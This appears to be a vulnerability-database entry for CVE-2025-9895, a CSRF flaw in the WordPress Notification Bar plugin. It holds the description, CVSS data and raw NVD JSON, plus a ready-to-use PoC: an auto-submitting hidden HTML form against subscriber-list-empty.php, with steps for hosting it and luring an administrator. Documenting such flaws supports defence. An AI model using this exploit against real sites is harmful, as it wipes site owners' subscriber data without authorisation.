Security Vulnerability Report
中文
CVE-2025-9895 CVSS 4.3 MEDIUM

CVE-2025-9895

Published: 2025-10-03 12:15:50
Last Modified: 2026-04-15 00:35:42

Description

The Notification Bar plugin for WordPress is vulnerable to Cross-Site Request Forgery in all versions up to, and including, 2.2. This is due to missing or incorrect nonce validation on the 'subscriber-list-empty.php' file. This makes it possible for unauthenticated attackers to empty the subscriber list via a forged request granted they can trick a site administrator into performing an action such as clicking on a link.

CVSS Details

CVSS Score
4.3
Severity
MEDIUM
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:L/A:N

Configurations (Affected Products)

No configuration data available.

WordPress Notification Bar插件(simple-bar)所有版本 <= 2.2

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
<!-- CVE-2025-9895 PoC - CSRF to empty subscriber list in WordPress Notification Bar plugin --> <!-- Save as HTML and host on attacker-controlled server, then trick admin into visiting --> <!DOCTYPE html> <html> <head> <title>Loading...</title> </head> <body> <!-- Hidden auto-submitting form targeting the vulnerable subscriber-list-empty.php endpoint --> <form id="csrf-form" action="http://target-wordpress-site.com/wp-content/plugins/simple-bar/subscriber-list-empty.php" method="POST"> <!-- No nonce field needed - this is the vulnerability --> <input type="hidden" name="action" value="empty_list" /> <input type="hidden" name="confirm" value="1" /> </form> <script> // Auto-submit the form when the admin visits this page document.getElementById('csrf-form').submit(); </script> <!-- Alternative: Use an img tag for GET-based CSRF if the endpoint accepts GET --> <!-- <img src="http://target-wordpress-site.com/wp-content/plugins/simple-bar/subscriber-list-empty.php?action=empty_list" style="display:none" /> --> </body> </html> <!-- Usage: 1. Replace "http://target-wordpress-site.com" with the actual target WordPress site URL 2. Host this HTML on an attacker-controlled server 3. Trick a logged-in WordPress administrator into visiting the page 4. The admin's browser will automatically submit the form with their authentication cookies 5. The subscriber list will be emptied without the admin's knowledge -->

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2025-9895", "sourceIdentifier": "[email protected]", "published": "2025-10-03T12:15:50.473", "lastModified": "2026-04-15T00:35:42.020", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "The Notification Bar plugin for WordPress is vulnerable to Cross-Site Request Forgery in all versions up to, and including, 2.2. This is due to missing or incorrect nonce validation on the 'subscriber-list-empty.php' file. This makes it possible for unauthenticated attackers to empty the subscriber list via a forged request granted they can trick a site administrator into performing an action such as clicking on a link."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:L/A:N", "baseScore": 4.3, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "REQUIRED", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "LOW", "availabilityImpact": "NONE"}, "exploitabilityScore": 2.8, "impactScore": 1.4}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-352"}]}], "references": [{"url": "https://plugins.trac.wordpress.org/browser/simple-bar/tags/2.2/subscriber-list-empty.php#L3", "source": "[email protected]"}, {"url": "https://www.wordfence.com/threat-intel/vulnerabilities/id/c9364785-1174-46d1-8671-001b755361a6?source=cve", "source": "[email protected]"}]}}